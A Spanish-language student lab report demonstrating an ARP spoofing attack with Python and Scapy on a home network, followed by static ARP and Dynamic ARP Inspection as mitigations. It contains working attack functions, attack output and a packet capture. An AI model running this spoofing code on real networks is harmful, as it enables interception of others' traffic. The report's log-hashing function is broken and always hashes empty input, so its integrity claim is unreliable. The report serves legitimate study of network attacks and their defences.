Universidad Central de Venezuela
Facultad de Ciencias
Escuela de Computación
Laboratorio de Comunicación y Redes

Jesus Santiago Martinez Bello
21.194.440

Informe sobre Ataque ARP Spoofing y Métodos de Prevención

El Protocolo de Resolución de Direcciones (ARP) es un mecanismo fundamental en redes locales que permite la asociación de direcciones IP con direcciones MAC. Sin embargo, su falta de autenticación lo hace vulnerable a ataques como ARP Spoofing, donde un atacante envía respuestas ARP falsas para redirigir tráfico o interceptar comunicaciones dentro de una red.

Desarrollo del Experimento

El experimento fue realizado utilizando **Python 3.7** con las siguientes librerías:
- **Scapy**: para la manipulación de paquetes de red.
- **Time**: para manejar retardos en el envío de paquetes.
- **Argparse**: para manejar argumentos de línea de comandos.
- **Logging**: para registrar eventos del ataque.
- **Hashlib y Datetime**: para la generación de un hash del archivo de logs y la gestión de marcas de tiempo.

Hashing del Archivo de Logs

Para verificar la integridad del archivo de logs generado, se implementó la función **hash_file**, que calcula el hash SHA-256 de un archivo:

```python
def hash_file(filename):
    with open(filename, "rb") as f:
        while True:  # Compatible with older Python versions
            chunk = f.read(4096)
            if not chunk:
                break
            hashlib.sha256().update(chunk)
    return hashlib.sha256().hexdigest()
```

Esta función garantiza que cualquier alteración en el archivo pueda ser detectada comparando el hash original con uno generado posteriormente.

Obtención de Dirección MAC de un Host

La función **get_mac** permite obtener la dirección MAC de un dispositivo dado su dirección IP mediante el envío de paquetes ARP:

```
def get_mac(ip):
    arp_request = ARP(pdst=ip)
    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = ether / arp_request
    result = srp(packet, timeout=2, verbose=False)[0]
    if result:
        return result[0][1].hwsrc  # Return MAC address
    else:
        return None
```

Escaneo de la Red

La función **scan_network** permite descubrir dispositivos conectados a la red:

```
def scan_network(network):
    arp_request = ARP(pdst=network)
    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = ether / arp_request
    result = srp(packet, timeout=2, verbose=False)[0]
    devices = []
    for sent, received in result:
        devices.append({"ip": received.psrc, "mac": received.hwsrc})
    return devices
```

Ejecución del Ataque ARP Spoofing

La función **arp_spoof** envía paquetes ARP falsificados para suplantar la identidad del gateway:

```python
def arp_spoof(target_ip, target_mac, gateway_ip):
    packet1 = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
    send(packet1, verbose=False)
    print(f"Sent ARP spoof packet to {target_ip} ({target_mac}) claiming to be
    {gateway_ip}")
    logging.info(f"Sent ARP spoof packet to {target_ip} ({target_mac}) claiming to be
    {gateway_ip}, {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
```

Restauración de la Tabla ARP

Para revertir el ataque, se ejecuta la función **restore_arp**, que envía paquetes ARP legítimos para restablecer las asociaciones correctas:

```python
def restore_arp(target_ip, target_mac, gateway_ip, gateway_mac):
    packet1 = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip,
    hwsrc=gateway_mac)
    packet2 = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip,
    hwsrc=target_mac)
    send(packet1, verbose=False)
    send(packet2, verbose=False)
    print(f"Restored ARP tables for {target_ip} and {gateway_ip}")
    logging.info(f"Restored ARP tables for {target_ip} and {gateway_ip}, {datetime.now().
    strftime('%Y-%m-%d %H:%M:%S')}")
```

Ataque en acción

1. **Estado inicial de la tabla ARP de la víctima**: podemos observar en el terminal de la víctima que antes del ataque, el gateway (**192.168.0.1**) posee dirección MAC: **d8-47-32-67-74-98**

```
PS C:\Users\Santiago> arp -a

Interface: 192.168.0.103 --- 0x8
  Internet Address      Physical Address      Type
  192.168.0.1           d8-47-32-67-74-98     dynamic
  192.168.0.132         32-a7-18-96-45-c8     dynamic
  192.168.0.150         c8-1f-66-07-80-d4     dynamic
  192.168.0.242         00-f6-20-bd-90-2d     dynamic
  192.168.0.255         ff-ff-ff-ff-ff-ff     static
```

2. **Inicio del ataque**: en la computadora atacante, ejecutamos el script de arp spoofing, seleccionando como target a la víctima (192.168.0.103):

```
santiago@Santiagos-MacBook-Pro ARP % sudo python index.py -n 192.168.0.0/24 -g 192.168.0.1
Password:
[*] Scanning the network...

[*] Devices found:
[0] IP: 192.168.0.1, MAC: d8:47:32:67:74:98
[1] IP: 192.168.0.103, MAC: d8:bb:c1:41:47:bf
[2] IP: 192.168.0.104, MAC: 9c:6b:00:57:81:c2
[3] IP: 192.168.0.150, MAC: c8:1f:66:07:80:d4
[4] IP: 192.168.0.100, MAC: 5c:a6:e6:5e:1c:44
[5] IP: 192.168.0.102, MAC: 14:7d:da:e2:64:43
[6] IP: 192.168.0.242, MAC: 00:f6:20:bd:90:2d
[7] IP: 192.168.0.156, MAC: 18:de:50:13:93:ec
1
[*] Target selected: 192.168.0.103 (d8:bb:c1:41:47:bf)
[*] Gateway MAC address: d8:47:32:67:74:98
[*] Starting ARP spoofing... Press Ctrl+C to stop.
Sent ARP spoof packet to 192.168.0.103 (d8:bb:c1:41:47:bf) claiming to be 192.168.0.1
Sent ARP spoof packet to 192.168.0.1 (d8:47:32:67:74:98) claiming to be 192.168.0.103
Sent ARP spoof packet to 192.168.0.103 (d8:bb:c1:41:47:bf) claiming to be 192.168.0.1
Sent ARP spoof packet to 192.168.0.1 (d8:47:32:67:74:98) claiming to be 192.168.0.103
Sent ARP spoof packet to 192.168.0.103 (d8:bb:c1:41:47:bf) claiming to be 192.168.0.1
Sent ARP spoof packet to 192.168.0.1 (d8:47:32:67:74:98) claiming to be 192.168.0.103
```

3. **Captura en Wireshark**: usando la herramienta de wireshark, podemos observar como los paquetes arp están siendo lanzados entre la víctima y gateway, forzando a que reconozcan al atacante como cada contraparte (entradas en color azul):

1162	8.209922	32:a7:18:96:45:c8	MicroStarINT_41:47…	ARP	42	192.168.0.1 is at 32:a7:18:96:45:c8
1163	8.211825	32:a7:18:96:45:c8	TpLinkTechno_67:74…	ARP	42	192.168.0.103 is at 32:a7:18:96:45:c8
1357	9.010871	Apple_e2:64:43	Broadcast	ARP	42	Who has 169.254.169.254? Tell 192.168.0.102
1560	10.220804	32:a7:18:96:45:c8	MicroStarINT_41:47…	ARP	42	192.168.0.1 is at 32:a7:18:96:45:c8
1561	10.223058	32:a7:18:96:45:c8	TpLinkTechno_67:74…	ARP	42	192.168.0.103 is at 32:a7:18:96:45:c8
1727	11.236831	TpLinkTechno_67:74…	32:a7:18:96:45:c8	ARP	42	Who has 192.168.0.132? Tell 192.168.0.1
1728	11.236945	32:a7:18:96:45:c8	TpLinkTechno_67:74…	ARP	42	192.168.0.132 is at 32:a7:18:96:45:c8
1750	11.368445	Apple_e2:64:43	Broadcast	ARP	42	Who has 169.254.169.254? Tell 192.168.0.102
1958	12.226083	32:a7:18:96:45:c8	MicroStarINT_41:47…	ARP	42	192.168.0.1 is at 32:a7:18:96:45:c8
1959	12.227720	32:a7:18:96:45:c8	TpLinkTechno_67:74…	ARP	42	192.168.0.103 is at 32:a7:18:96:45:c8
2163	13.416296	Apple_e2:64:43	Broadcast	ARP	42	Who has 169.254.169.254? Tell 192.168.0.102
2218	13.652784	32:a7:18:96:45:c8	Broadcast	ARP	42	Who has 169.254.169.254? Tell 192.168.0.132
2412	14.237464	32:a7:18:96:45:c8	MicroStarINT_41:47…	ARP	42	192.168.0.1 is at 32:a7:18:96:45:c8
2413	14.239552	32:a7:18:96:45:c8	TpLinkTechno_67:74…	ARP	42	192.168.0.103 is at 32:a7:18:96:45:c8
2443	14.336400	32:a7:18:96:45:c8	Broadcast	ARP	42	Who has 169.254.169.254? Tell 192.168.0.132
2522	15.297822	32:a7:18:96:45:c8	Broadcast	ARP	42	Who has 169.254.169.254? Tell 192.168.0.132
2673	16.247943	32:a7:18:96:45:c8	MicroStarINT_41:47…	ARP	42	192.168.0.1 is at 32:a7:18:96:45:c8
2674	16.251237	32:a7:18:96:45:c8	TpLinkTechno_67:74…	ARP	42	192.168.0.103 is at 32:a7:18:96:45:c8

4. **Tabla ARP de la víctima después del ataque**: podemos observar en el terminal de la víctima que despues del ataque, el gateway (**192.168.0.1**) posee ahora dirección MAC: **32-a7-18-96-45-c8**

```
PS C:\Users\Santiago> arp -a

Interface: 192.168.0.103 --- 0x8
  Internet Address      Physical Address      Type
  192.168.0.1           32-a7-18-96-45-c8     dynamic
  192.168.0.132         32-a7-18-96-45-c8     dynamic
  192.168.0.150         c8-1f-66-07-80-d4     dynamic
  192.168.0.242         00-f6-20-bd-90-2d     dynamic
  192.168.0.255         ff-ff-ff-ff-ff-ff     static
```

Verificación de Integridad del Log

Al finalizar el ataque, el script genera un hash SHA-256 del archivo de logs para verificar su integridad:

```
log_hash = hash_file("arpspoof.log")
print(f"[*] Log file integrity hash (SHA-256): {log_hash}")
logging.info(f"[*] Log file integrity hash (SHA-256): {log_hash}. {datetime.now().
strftime('%Y-%m-%d %H:%M:%S')}")
```

Esto permite certificar que los registros del experimento no han sido alterados.

Prevención de Ataques ARP Spoofing

Para mitigar este tipo de ataques, se pueden implementar las siguientes medidas:

1. **Configuración de ARP Estático**: Fijar manualmente las direcciones MAC en la tabla ARP para evitar modificaciones malintencionadas. En el caso del experimento, en la víctima ejecutamos:

netsh interface ipv4 add neighbors "Ethernet" 192.168.0.1 d8-47-32-67-74-98

```
PS C:\Users\Santiago> netsh interface ipv4 add neighbors "Ethernet" 192.168.0.1 d8-47-32-67-74-98

PS C:\Users\Santiago> arp -a

Interface: 192.168.0.103 --- 0x8
  Internet Address      Physical Address      Type
  192.168.0.1           d8-47-32-67-74-98     static
  192.168.0.132         32-a7-18-96-45-c8     dynamic
  192.168.0.150         c8-1f-66-07-80-d4     dynamic
  192.168.0.242         00-f6-20-bd-90-2d     dynamic
  192.168.0.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.2             01-00-5e-00-00-02     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.102.18        01-00-5e-7f-66-12     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static
PS C:\Users\Santiago> arp -a

Interface: 192.168.0.103 --- 0x8
  Internet Address      Physical Address      Type
  192.168.0.1           d8-47-32-67-74-98     static
  192.168.0.132         32-a7-18-96-45-c8     dynamic
  192.168.0.150         c8-1f-66-07-80-d4     dynamic
  192.168.0.242         00-f6-20-bd-90-2d     dynamic
  192.168.0.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.2             01-00-5e-00-00-02     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.102.18        01-00-5e-7f-66-12     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static
PS C:\Users\Santiago> arp -a
```

Luego observamos que la tabla no cambia durante el ataque. Como todo, posee sus desventajas. En este caso, funciona, pero es muy poco escalable mientras más grande es la red.

2. **Dynamic ARP Inspection (DAI) en Switches**: Si se dispone de switches administrables, se puede habilitar **DAI** para bloquear paquetes ARP falsificados. En cuanto a desventajas, la desventaja principal de este método, es que hardware especializado es requerido para su funcionamiento.

Conclusión

El ataque ARP Spoofing demuestra una vulnerabilidad crítica en redes que permite la interceptación y manipulación de tráfico. La experimentación con este ataque en un entorno controlado permitió comprender su funcionamiento y cómo mitigar sus efectos. Implementar medidas como la configuración de ARP estático y el uso de Dynamic ARP Inspection en switches administrables son estrategias efectivas para reducir el riesgo de este tipo de ataques. La seguridad en redes es fundamental y requiere un enfoque proactivo para prevenir vulnerabilidades, nada es 100% seguro, pero es nuestro deber hacer el mejor esfuerzo para proteger nuestra integridad.